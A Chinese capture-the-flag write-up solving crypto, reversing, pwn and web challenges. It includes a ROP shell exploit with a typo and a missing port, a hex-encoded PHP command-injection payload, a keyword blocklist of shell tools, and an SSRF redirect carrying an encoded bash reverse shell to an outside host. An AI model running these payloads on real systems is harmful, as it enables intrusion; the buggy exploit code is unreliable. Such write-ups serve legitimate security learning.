Misc
1.火锅链观光打卡
记得先注册下 metamask,然后连接钱包,答题即可
2.Power Trajectory Diagram
npz文件解压可以得到index.npy input.npy output.npy trace.npy
字符串集一共有40种字符串,并且有13种索引值,我们可以先处理每个周期的数据,其实每个周期也就是通过收集功率信息来确定一位密码
在一个周期收集了40组数据,在处理每组数据时信息集中于低功率部分,那我们可以先提取40组数据中所有的最小值,然后再提出每个周期的最大值,值对应的索引即为input中所对应的字符串。 参考文章:https://blog.csdn.net/m0_74043383/article/details/132294607
import numpy as np
ac = np.load('attachment.npz')
index = ac['index']
trace = ac['trace']
input = ac['input']
# for file in ac.files:
# print(f"{file}:")
# print(ac[file])
#np.savetxt('trace.txt', trace)
for i in range(13):
tmp = []
table = input[40 * i:40 * (i + 1)]
for j in range(40):
min = np.argmin(trace[i * 40 + j])
max = np.argmax(trace[i * 40 + j])
tmp.append(min)
#tmp.append(max)
m = np.argmax(tmp)
n = table[m]
print(n,end='')
#_ciscn_2024_ 需要删去最后一个a
3.通风机
首先查询到 .mwp 文件需要使用西门子的 STEP 7 Micro/WIN 打开,在网上找到相关安装包安装。
结果发现打不开,导出软件自带的工程文件并查看文件头。发现缺失 47 4A 4B
三个字节。
补齐后成功打开,在 Symbol Table -> 用户定义1 内找到关键信息 ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9
base64 解码后得到 Flag
flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}
Crypto
1.古典密码
使用Atbash Cipher再用base64解码再栅栏密码梭了
2.OvO
由代码可知:
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
\[e = 65537 + kk * p + (kk+2) * ((p+1) * (q+1)) + 1 = 65537 + kk * p + (kk+2) * (p*q+p+q+1) +\]
\[e = 65537 + kk * p + (kk+2) * (n+p+q+1) +\]
\[e= 65537 + kk * p + (kk+2) * n+(kk+2) * p+(kk+2) * q+(kk+3)\]
等式左右两边同时乘以一个 p:
\[e*p= 65537*p + kk * p^2 + (kk+2) * n*p+(kk+2) * p^2+(kk+2) * n+(kk+3)*\]构造多项式:\(f = e*p - (65537*p + kk * p^2 + (kk+2) * n*p+(kk+2) * p^2+(kk+2) * n+(kk+3)*p\)
对等式\(e= 65537 + kk * p + (kk+2) * n+(kk+2) * p+(kk+2) * q+(kk+3\)
左右两边同时整除 n,可得:e//n = (kk+2) ,所以 kk = e//n - 2
将已知 e 的高位攻击转化为已知 p的高位攻击,利用 coppersmith攻击得到 flag
from Crypto.Util.number import *
from gmpy2 import *
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
kk = e // n - 2
p = polygen(RealField(1024))
f = e*p - (65537 * p + kk * p ^ 2 + (kk + 2) * n * p + (kk + 2) * p ^ 2 + (kk + 2) * n + (kk + 3) * p)
root = f.roots()
PR.<x> = PolynomialRing(Zmod(n))
f = int(root[1][0]) + x
root1 = f.monic().small_roots(X=2^200,beta=0.4)
print(root1)
p = int(root[1][0]) + root1[0]
print("p =",p)
q = int(n)//int(p)
print("q =",q)
assert p*q == n
p = 9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q = 11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
print("e =",e)
d = invert(e,(q-1)*(p-1))
m = pow(c,d,n)
print(long_to_bytes(int(m)))
Pwn
1.gostack
from pwn import *
from struct import pack
from ctypes import *
import sys
#from LibcSearcher import *
import base64
s = lambda content : p.send(content)
sl = lambda content : p.sendline(content)
sa = lambda content,send : p.sendafter(content, send)
sla = lambda content,send : p.sendlineafter(content, send)
rc = lambda number : p.recv(number)
ru = lambda content : p.recvuntil(content)
rl = lambda: p.recvline()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
def log(message_int):
success(hex(message_int))
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin\x00'))
#p = process('./gostack')
p = remote('8.147.129.254',)
#gdb.attach(p,'b *(0x08048654)')
#gdb.attach(p,'b *$rebase(0x19E8)') #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
context(log_level='debug',arch='amd64', os='linux')#64位
#context(os='linux', arch='i386', log_level='debug')#32位
#libc=ELF("libc-2.27.so")
#elf = ELF('./attachment-12')
#exp
elf=ELF('./gostack')
bss=0x563950
#gdb.attach(p,'b *0x4A0A28')
syscall_ret=0x4616C9
pop_rdi=0x4a18a5
pop_rsi=0x42138a
pop_rax=0x40f984
pop_rdx=0x4944ec
payload=b'a'+b'\x00'*(0x1c8+0x7)
payload+=p64(pop_rdi)+p64(0)*6+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x10)+p64(pop_rax)+p64(0)+p64(syscall_ret)#调用read
paload+=p64(pop_rdi)+p64(bss)+p64(0)*5+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_ret)#shell
sla('Input your magic message :',payload)
sl('/bin/sh\x00')
p.interactive()
Reverse
1.asm_re
获取一段txt的asm代码 可以查看到数据段为
使用gpt改写得到伪c代码
#include <stdio.h>
int main() {
unsigned char expected_array[] = {
0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00,
0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00,
0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00,
0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00,
0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00,
0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00,
0x37, 0x10, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00,
0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00,
0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00,
0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00,
0x17, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00,
0x47, 0x0F, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00,
0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00,
0x37, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00,
0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00,
0x07, 0x11, 0x00, 0x00, 0x87, 0x27, 0x00, 0x00
};
int length = sizeof(expected_array) / sizeof(expected_array[0]) / 4; // 每个字符占4个字节
char decoded_flag[length + 1];
for (int i = 0; i < length; i++) {
int encoded_value = *(int *)&expected_array[i * 4]; // 每4个字节一个字符
int temp = encoded_value - 0x1E;
temp ^= 'M';
temp -= 0x14;
temp /= 'P';
decoded_flag[i] = temp;
}
decoded_flag[length] = '\0'; // 添加字符串结束符
printf(decoded_flag);
return 0;
}
//flag{67e9a228e45b622c2992fb5174a4f5f5}
2.androidso_re
在main函数中发现调用了inspect
在inspect中发现调用了jni的getkey和getiv 并且使用key和iv进行DES/CBC加密
在jni中发现调用了native层的函数
我们可以使用frida来hook这两个函数的返回值
function hook() {
let jni = Java.use("com.example.re11113.jni");
var res = jni.getiv();
console.log("iv为:" + res);
var keyaddr = Module.findExportByName("libSecret_entrance.so", "Java_com_example_re11113_jni_getkey");
if (keyaddr) {
Interceptor.attach(keyaddr, {
onEnter: function(args) {
console.log("调用jni");
},
onLeave: function(retval) {
try {
var result = Memory.readUtf8String(retval);
//console.log("Reconstructed key = " + result);
retval.replace(ptr(result));
} catch (memError) {
// console.log("error: " +memError.message);
}
}
});
// 主动调用getkey
var retkey = jni.getkey();
console.log("key为:" + retkey);
} else {
//console.log("fail for find");
}
}
function main() {
Java.perform(function () {
hook();
});
}
setTimeout(main,200)
得到返回值iv和key分别为 Wf3DLups 和 A8UdWaeq
使用脚本解密得
from Crypto.Cipher import DES
import base64
def decrypt(encrypted_data, key, iv):
cipher = DES.new(key, DES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data)
return decrypted_data.rstrip(b'\0')
def main():
encrypted_flag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw=="
key = b'A8UdWaeq' # 替换为你实际的密钥
iv = b'Wf3DLups' # 替换为你实际的 IV
encrypted_data = base64.b64decode(encrypted_flag)
decrypted_data = decrypt(encrypted_data, key, iv)
print("flag{"+decrypted_data.decode('utf-8')+"}")
if __name__ == "__main__":
main()
得出flag
3.rust_baby
首先根据明显的base64字符串定位到主函数
我们将这串base64解码可以看到
其中有一段 igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc= 我们推测应该是密文,将其解码发现只是一段数据
发现解密后的数据段长度为104 那么我们使用长度104的字符串进行输入动调
当我们运行到这个do-while循环中时
我们可以首先发现第一个for循环将我们所输入的字符分作8个一组进行后续的加密以及^0x33 加密函数如下
我们没有逆向这个地方的加密函数,直接对加密之后的数据与加密之前的数据进行比较
在v21的数组中可以看见我们传入的值
在v165中也看到了我们所输入的字符串,并且按8个一组加密
在运行完之后获取上层加密之后函数的值v195中
我们同样发现了8个一组的数据,数据略有不同,推测应该是加密之后的值
跟上方的初始数据分别 +1 +1 +0 +0 -1 -1 -2 -2
我们也可以看到v22的值为8个一组的
我们接着往下执行发现
这段数据跟我们base64解密中的值有关,应该是与这两个固定值做加密 在我们加密完之后下断点观察数据如下
在后续断点函数中的src中
有数据如下
将上述两段数据进行异或之后得到一个key值
经过不同输入的测试将上述两段值异或之后输出的key值相同
在这一块代码中有明显的base64加密过程
以及base64码表
在我们最后判断base64的值是否相等的地方可以看到我们之前传入的参数值与最开始base64解码的值进行比较
我们将传入参数的base64提取出来,使用我们之前两段数据的key值进行异或以及前面do-while循环中的异或0x33
发现就是我们传入值的‘12345678’*13(104位)进行第一次加减法操作后的值
那么我们可以将最后比较的base64的值替换上方的值
我们将这段数据进行最上方的加减操作
data = [0x65,0x6b,0x61,0x67,0x7c,0x37,0x67,0x34,0x33,0x37,0x30,0x62,0x34,0x2e,0x36,0x68,0x2f,0x31,0x2d,0x34,0x64,0x67,0x33,0x2f,0x38,0x61,0x63,0x30,0x2e,0x32,0x34,0x35,0x61,0x36,0x35,0x66,0x3a,0x62,0x3b,0x34,0x31,0x7c,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47]
opcode = [1,1,0,0,-1,-1,-2,-2]
for i in range(0,len(data),8):
for j in range(8):
data[i+j] += opcode[j]
print(bytes(data))
4.whereThel1b
程序是Cython编译的so文件。但是在主函数中提取出了加密的密文。首先ida查看so文件
发现base64字符串,后经过测试发现,输出的密文确实满足base64特性,也就是密文数量与明文数量呈4/3倍关系。
将代码改成输出密文查看关系
后测试拿111的base64结果与222的 base64 结果异或发现是固定值。则满足通过固定值测试出原本异或的key
经过程序原本的加密函数之后获得 ‘1‘ * 42 的加密结果如下:
123,76,117,64,87,86,85,88,82,77,119,77,94,74,83,93,64,116,77,106,69,100,67,95,126,68,103,85,126,114,76,107,75,122,65,78,102,65,91,91,75,66,94,108,106,124,72,91,83,72,114,89,93,87,118,91
然后与111的base64加密结果循环异或
tmp = [0x4d,0x54,0x45,0x78]
key = [123,76,117,64,87,86,85,88,82,77,119,77,94,74,83,93,64,116,77,106,69,100,67,95,126,68,103,85,126,114,76,107,75,122,65,78,102,65,91,91,75,66,94,108,106,124,72,91,83,72,114,89,93,87,118,91]
for i in range(0,len(key)):
print(key[i] ^ tmp[i % len(tmp)],end=',')
得到
54,24,48,56,26,2,16,32,31,25,50,53,19,30,22,37,13,32,8,18,8,48,6,39,51,16,34,45,51,38,9,19,6,46,4,54,43,21,30,35,6,22,27,20,39,40,13,35,30,28,55,33,16,3,51,35
再与密文异或
import base64
enc = [54,24,48,56,26,2,16,32,31,25,50,53,19,30,22,37,13,32,8,18,8,48,6,39,51,16,34,45,51,38,9,19,6,46,4,54,43,21,30,35,6,22,27,20,39,40,13,35,30,28,55,33,16,3,51,35]
data = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
flag = ''
for i in range(0,len(enc)):
flag += chr(enc[i]^data[i])
#print(chr(enc[i]^data[i]),end='')
print(base64.b64decode(flag)
得到base64解码后有
5.gdb_debug
在程序中动调获取异或的key和索引如下
经过这些随机数加密并且获取他们的值即可根据逻辑还原程序可得
key = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1,
0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7,
0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9,
0x88, 0x78]
enc1 = 'congratulationstoyoucongratulationstoy'
enc2 = []
for i in range(len(enc1)):
enc2.append(ord(enc1[i]) ^ key[i])
key2 = [0xDE, 0xAA, 0x42, 0xFC, 0x09, 0xE8, 0xB2, 0x06, 0x0D, 0x93, 0x61, 0xF4,
0x24, 0x49, 0x15, 0x01, 0xD7, 0xAB, 0x04, 0x18, 0xCF, 0xE9, 0xD5, 0x96,
0x33, 0xCA, 0xF9, 0x2A, 0x5E, 0xEA, 0x2D, 0x3C, 0x94, 0x6F, 0x38, 0x9D,
0x58, 0xEA]
enc3 = []
for i in range(len(enc2)):
enc3.append(enc2[i] ^ key2[i])
index = [0x12, 0x0E, 0x1B, 0x1E, 0x11, 0x05, 0x07, 0x01, 0x10, 0x22, 0x06, 0x17,
0x16, 0x08, 0x19, 0x13, 0x04, 0x0F, 0x02, 0x0D, 0x25, 0x0C, 0x03, 0x15,
0x1C, 0x14, 0x0B, 0x1A, 0x18, 0x09, 0x1D, 0x23, 0x1F, 0x20, 0x24, 0x0A,
0x00, 0x21]
table = [0] * 38
for i in range(38):
table[index[i]] = enc3[i]
key3 = [0xD9, 0x0F, 0x18, 0xBD, 0xC7, 0x16, 0x81, 0xBE, 0xF8, 0x4A, 0x65, 0xF2,
0x5D, 0xAB, 0x2B, 0x33, 0xD4, 0xA5, 0x67, 0x98, 0x9F, 0x7E, 0x2B, 0x5D,
0xC2, 0xAF, 0x8E, 0x3A, 0x4C, 0xA5, 0x75, 0x25, 0xB4, 0x8D, 0xE3, 0x7B,
0xA3, 0x64]
flag = []
for i in range(len(table)):
flag.append(table[i] ^ key3[i])
print(bytes(flag))
#flag{78bace5989660ee38f1fd980a4b4fbcd}
Web
1.Simple_php
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
代码审计一下,发现这个有意思的函数 escapeshellcmd
escapeshellcmd — shell 元字符转义
功能:对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,反斜线(\)会在以下字符之前插入: &#;` | *?~<>^()[]{}$\, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。 |
但是我们通过查看PHP手册,可以看到escapeshellcmd并没有对-
做转义,所以我们还是可以把参数传到命令中。
然后网上查找一下关于escapeshellcmd
的文章
谈escapeshellarg绕过与参数注入漏洞(p神yyds)
经过测试发现可以使用PHP的命令行,然后又因为要绕过那么多的限制,将命令转化为16进制达到一个绕过的效果。
但是测试中直接使用hex2bin
函数无法执行,我们再嵌套一层函数substr
,接下来就是执行中的命令就是和文章中师傅提到的一样,测试密码都一样的。
#echo `mysql -u root -p'root' -e 'show database;'`;
#echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;
#echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
2.easycms_revenge
题目而且给我们说是研发修好了,感觉和这篇文章的师傅有点像啊
某cms 前台RCE漏洞分析(还有几篇类似的就不一一放出来了)
get 的 s 参数可以控制访问的控制器在哪个目录,以至于我们可以直接通过 index.php?s=api&c=xxx
进入 api 文件夹调用任意控制器。当然这个师傅的这个原来的地方被修复了,我们只能查找其他地方。
发现两个位置可以实现利用
咱们可以通过这两段代码不难发现是有可调用的地方的。
又根据前一天 easycms 的提示可得,需要先在 http 头使用 Location 绕过 Remote_addr 的限制才能使用命令执行
# /flag.php
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
在 cmd 里传递反弹 shell 命令,这里比前提题多加了些限制,服务会检查给出的链接是否为图片,否则就不执行,通过加 GIF89a 绕过即可
# 1.php 需在公网服务器上部署
#define width 1337-
#define height 1337
GIF89a
<?php
echo "GIF89a";
header("Location: http://127.0.0.1/flag.php?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%2e%31%2e%31%2e%31%2f%36%36%36%36%20%30%3e%26%31%27",true,302);
exit();
?>
POC:
http://eci-2ze3s1k73olbw1irlfl1.cloudeci1.ichunqiu.com/?s=api&c=api&m=qrcode&text=1&thumb=http://1.1.1.1/1.php&size=10&level=1
反弹得到的 shell 在根目录使用 ./readflag 即可得到 Flag